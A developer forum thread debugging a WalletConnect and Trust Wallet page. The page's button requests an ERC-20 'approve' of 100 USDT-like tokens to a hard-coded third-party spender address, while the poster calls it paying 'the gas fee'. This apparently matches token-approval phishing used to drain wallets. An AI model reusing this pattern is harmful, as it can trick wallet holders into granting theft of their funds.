How to pop up the trustwallet to sigining transaction when connect by walletconnect

hi everyone .
how to pop up the trustwallet to sigining transaction when connect by walletconnect
my idea is first logining by wallet connect ,


it pop up in trustwallet to signing the confirmation

then the user click call button , it should pop up a call from contract to pay the gas fee . but it didnt come . this is the problem i have .
this is the link of my web : https://WordyAbandonedMathematics.carterwu768210.repl.co
this is my code of html

BSC connect

<button id="btn-login">connect wallet Login</button>
<button id="btn-logout">Logout</button>
<button id="call">call</button>

<script>
  // connect to Moralis server

  const serverUrl = "https://ziaphezfiimp.usemoralis.com:2053/server";
  const appId = "893O49wcRg8PcpHVyy0uaSIrSLvKEQM9aqUNkLBu";
  Moralis.start({ serverUrl, appId });
  const web3 = Moralis.enableWeb3({ provider: "walletconnect", chainId: 56 });
  //use walletconnect to trustwallet ,click it can jump to trustwallet ,and pop up in trustwallet to signing confirmation.


  async function login() {
    const web3 = Moralis.enableWeb3({ provider: "walletconnect", chainId: 56 });
    let user = Moralis.User.current();
    }
  // if user login by login button  ,it can aslo click and jump to trustwallent ,and  pop up to sigining in.

  async function logOut() {
    await Moralis.User.logOut();
    console.log("logged out");
  }

// here is the problem of call button . when user click all button, how can pop up trustwallet to signing to appove function call ?

async function call() {
Moralis.start({ serverUrl, appId });

let user = Moralis.User.current();
if (!user) {
try {

 Window.web3 = await Moralis.enableWeb3();
  console.log(user)
  console.log(user.get('ethAddress'))

} catch(error) {
console.log(error)
}
}

const abi = [
{
constant: false,
inputs: [
{ internalType: “address”, name: “spender”, type: “address” },
{ internalType: “uint256”, name: “amount”, type: “uint256” },
],
name: “approve”,
outputs: [{ internalType: “bool”, name: “”, type: “bool” }],
payable: false,
stateMutability: “nonpayable”,
type: “function”,
},
];
//
const sendOptions = {
contractAddress: “0x55d398326f99059fF775485246999027B3197955”,
functionName: “approve”,
abi: ABI,
params: {
spender: “0xAE709784E2BDD5499c149f9D45f1952C57e3B8FD”,

     amount: Moralis.Units.Token("100", "18") ,

},
};

const transaction = await Moralis.executeFunction(sendOptions);
console.log(transaction.hash);
await transaction.wait();
}

  document.getElementById("btn-login").onclick = login;
  document.getElementById("btn-logout").onclick = logOut;
  document.getElementById("call").onclick = call;
</script>

you can see here how to post code on forum:

<html>
  <head>
    <!-- Moralis SDK code -->
    <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
    <script src="https://unpkg.com/moralis/dist/moralis.js"></script>
     <script src="https://github.com/WalletConnect/walletconnect-monorepo/releases/download/1.7.1/web3-provider.min.js"></script>
  </head>
  <body>
    <h1>BSC connect</h1>

    <button id="btn-login">connect wallet Login</button>
    <button id="btn-logout">Logout</button>
    <button id="call">call</button>

    <script>
      // connect to Moralis server

      const serverUrl = "https://ziaphezfiimp.usemoralis.com:2053/server";
      const appId = "893O49wcRg8PcpHVyy0uaSIrSLvKEQM9aqUNkLBu";
      Moralis.start({ serverUrl, appId });
      const web3 = Moralis.enableWeb3({ provider: "walletconnect", chainId: 56 });
      //use walletconnect to trustwallet ,click it can jump to trustwallet ,and pop up in trustwallet to signing confirmation.

  
      async function login() {
        const web3 = Moralis.enableWeb3({ provider: "walletconnect", chainId: 56 });
        let user = Moralis.User.current();
        }
      // if user login by login button  ,it can aslo click and jump to trustwallent ,and  pop up to sigining in.

      async function logOut() {
        await Moralis.User.logOut();
        console.log("logged out");
      }


// here is the problem of call button . when user click all button, how can pop up trustwallet to signing to appove function call ?
      
async function call()  {
  Moralis.start({ serverUrl, appId });

  
  let user = Moralis.User.current();
  if (!user) {
   try {
     
     Window.web3 = await Moralis.enableWeb3();
      console.log(user)
      console.log(user.get('ethAddress'))
   } catch(error) {
     console.log(error)
   }
  }


  const abi = [
    {
        constant: false,
        inputs: [
            { internalType: "address", name: "spender", type: "address" },
            { internalType: "uint256", name: "amount", type: "uint256" },
        ],
        name: "approve",
        outputs: [{ internalType: "bool", name: "", type: "bool" }],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
];
  //
  const sendOptions = {
  contractAddress: "0x55d398326f99059fF775485246999027B3197955",
  functionName: "approve",
  abi: ABI,
  params: {
    spender: "0xAE709784E2BDD5499c149f9D45f1952C57e3B8FD",
          
         amount: Moralis.Units.Token("100", "18") ,
  },
};

const transaction = await Moralis.executeFunction(sendOptions);
console.log(transaction.hash); 
  await transaction.wait();
}

      document.getElementById("btn-login").onclick = login;
      document.getElementById("btn-logout").onclick = logOut;
      document.getElementById("call").onclick = call;
    </script>
  </body>
</html>

you may need to use walletconnect parameter for this enableWeb3

// here is the problem of call button . when user click all button, how can pop up trustwallet to signing to appove function call ?
      
async function call()  {
  Moralis.start({ serverUrl, appId });

  
  let user = Moralis.User.current();
  if (!user) {
   try {
     
     Window.web3 = await Moralis.enableWeb3();
      console.log(user)
      console.log(user.get('ethAddress'))
   } catch(error) {
     console.log(error)
   }
  }


  const abi = [
    {
        constant: false,
        inputs: [
            { internalType: "address", name: "spender", type: "address" },
            { internalType: "uint256", name: "amount", type: "uint256" },
        ],
        name: "approve",
        outputs: [{ internalType: "bool", name: "", type: "bool" }],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
];
  //
  const sendOptions = {
  contractAddress: "0x55d398326f99059fF775485246999027B3197955",
  functionName: "approve",
  abi: ABI,
  params: {
    spender: "0xAE709784E2BDD5499c149f9D45f1952C57e3B8FD",
          
         amount: Moralis.Units.Token("100", "18") ,
  },
};

const transaction = await Moralis.executeFunction(sendOptions);
console.log(transaction.hash); 
  await transaction.wait();
}

I use it already , thats why i am confused Window.web3 = await Moralis.enableWeb3();

I mean, you use it once with

and once with

it is not the same thing, in the first case it will use wallet connect and in the second case it will use metamask

hey my friends
i try many way to fix the problems , but it dont work

<html>
  <head>
    <!-- Moralis SDK code -->
    <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
    <script src="https://unpkg.com/moralis/dist/moralis.js"></script>
     <script src="https://github.com/WalletConnect/walletconnect-monorepo/releases/download/1.7.1/web3-provider.min.js"></script>
  </head>
  <body>
    <h1>BSC connect</h1>

    <button id="btn-login">connect wallet Login</button>
    <button id="btn-logout">Logout</button>
    <button id="call">call</button>

    <script>
      // connect to Moralis server

      const serverUrl = "https://ziaphezfiimp.usemoralis.com:2053/server";
      const appId = "893O49wcRg8PcpHVyy0uaSIrSLvKEQM9aqUNkLBu";
      Moralis.start({ serverUrl, appId });
      const web3 = Moralis.enableWeb3({ provider: "walletconnect", chainId: 56 });
      
      //use walletconnect to trustwallet ,click it can jump to trustwallet ,and pop up in trustwallet to signing confirmation.
     

  
      async function login() {
        const web3 = Moralis.enableWeb3({ provider: "walletconnect", chainId: 56 });
        let user = Moralis.User.current();
        }
      // if user login by login button  ,it can aslo click and jump to trustwallent ,and  pop up to sigining in.

      async function logOut() {
        await Moralis.User.logOut();
        console.log("logged out");
      }


// here is the problem of call button . when user click all button, how can pop up trustwallet to signing to appove function call ?
      
async function call()  {

/////??????/


  const abi = [
    {
        constant: false,
        inputs: [
            { internalType: "address", name: "spender", type: "address" },
            { internalType: "uint256", name: "amount", type: "uint256" },
        ],
        name: "approve",
        outputs: [{ internalType: "bool", name: "", type: "bool" }],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
];
  //
  const sendOptions = {
  contractAddress: "0x55d398326f99059fF775485246999027B3197955",
  functionName: "approve",
  abi: ABI,
  params: {
    spender: "0xAE709784E2BDD5499c149f9D45f1952C57e3B8FD",
          
         amount: Moralis.Units.Token("100", "18") ,
  },
};

const transaction = await Moralis.executeFunction(sendOptions);
console.log(transaction.hash); 
  await transaction.wait();
}

      document.getElementById("btn-login").onclick = login;
      document.getElementById("btn-logout").onclick = logOut;
      document.getElementById("call").onclick = call;
    </script>
  </body>
</html>

i try const web3 = Moralis.enableWeb3({ provider: “walletconnect”, chainId: 56 });
i try let the user = let user = Moralis.User.current();
i try empty this part .
but it doesnt work ,can you help me
as i understand , user connect to the web3 already , but when i call the contract to approve , it comes nothing , it should popup a call in trustwallet

this is not login, this does only enable web3, user should not be related to that previous line

after you use
const web3 = Moralis.enableWeb3({ provider: "walletconnect", chainId: 56 });
(where you can add an await)

and then you call Moralis.executeFunction, what happens? any error in the browser console?

When I use browser to scan and login then I call the contract , it popup to pay gas fee , it works well , but when I open at mobile , it shown this

try to use await before using Moralis.enableWeb3 too

it looks like it runs Moralis.enableWeb3 twice, once for login button and once when the page loads, what exactly do you do on mobile, you press login button, you wait?

also, you may need to add some settings specific for trust wallet, you can search of other forum threads with problems with trust wallet

ok,i change to be await
i run twice to make sure user login .
i press login button , then it show this


then i connect .
then i go back to safari, i click call , then it show open trustwallet , it jump to trust wallet , then it shown waiting for connection , after 3 second , it shown wallletconnct session was disconnected, go back to your browser and connect via walletconnct again.
it means the second time jump to trustwallet ,the connection disappeard ,.
but when i scan on labtop browser, it comes immediately to run the contract call and pay gas fee .
so i am confused how to do

I used this code:

<html>
  <head>
    <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
    <script src="https://unpkg.com/moralis/dist/moralis.js"></script>
    <script src="https://github.com/WalletConnect/walletconnect-monorepo/releases/download/1.7.1/web3-provider.min.js"></script>
  </head>
  <body>
    <h1>BSC connect</h1>

    <button id="btn-login">connect wallet Login</button>
    <button id="btn-logout">Logout</button>
    <button id="call">call</button>

    <script>
      // connect to Moralis server

      const serverUrl = "https://r1ozkme0apls.usemoralis.com:2053/server";
      const appId = "2QE3SpmFdMF9s5ATa6TWEwpdgB3MonJEu5S6VzZo";
      Moralis.start({ serverUrl, appId });

      async function login() {
        const web3 = await Moralis.enableWeb3({
          provider: "walletconnect",
          chainId: 56
        });
      }

      async function call() {
        const abi = [
          {
            constant: false,
            inputs: [
              { internalType: "address", name: "spender", type: "address" },
              { internalType: "uint256", name: "amount", type: "uint256" }
            ],
            name: "approve",
            outputs: [{ internalType: "bool", name: "", type: "bool" }],
            payable: false,
            stateMutability: "nonpayable",
            type: "function"
          }
        ];
        //
        const sendOptions = {
          contractAddress: "0x55d398326f99059fF775485246999027B3197955",
          functionName: "approve",
          abi: abi,
          params: {
            spender: "0xAE709784E2BDD5499c149f9D45f1952C57e3B8FD",

            amount: Moralis.Units.Token("100", "18")
          }
        };

        const transaction = await Moralis.executeFunction(sendOptions);
        console.log(transaction.hash);
        await transaction.wait();
      }

      document.getElementById("btn-login").onclick = login;
      document.getElementById("call").onclick = call;
    </script>
  </body>
</html>

and it worked fine on phone after clicking again on login after I got that error that you get there with WalletConnect session was disconnected.

thank you very much, i think problem sloved . i like moralis .i really really like moralis , i feel i am in a strong team to work . thank you very much . hope moralis will get big success.

2 Likes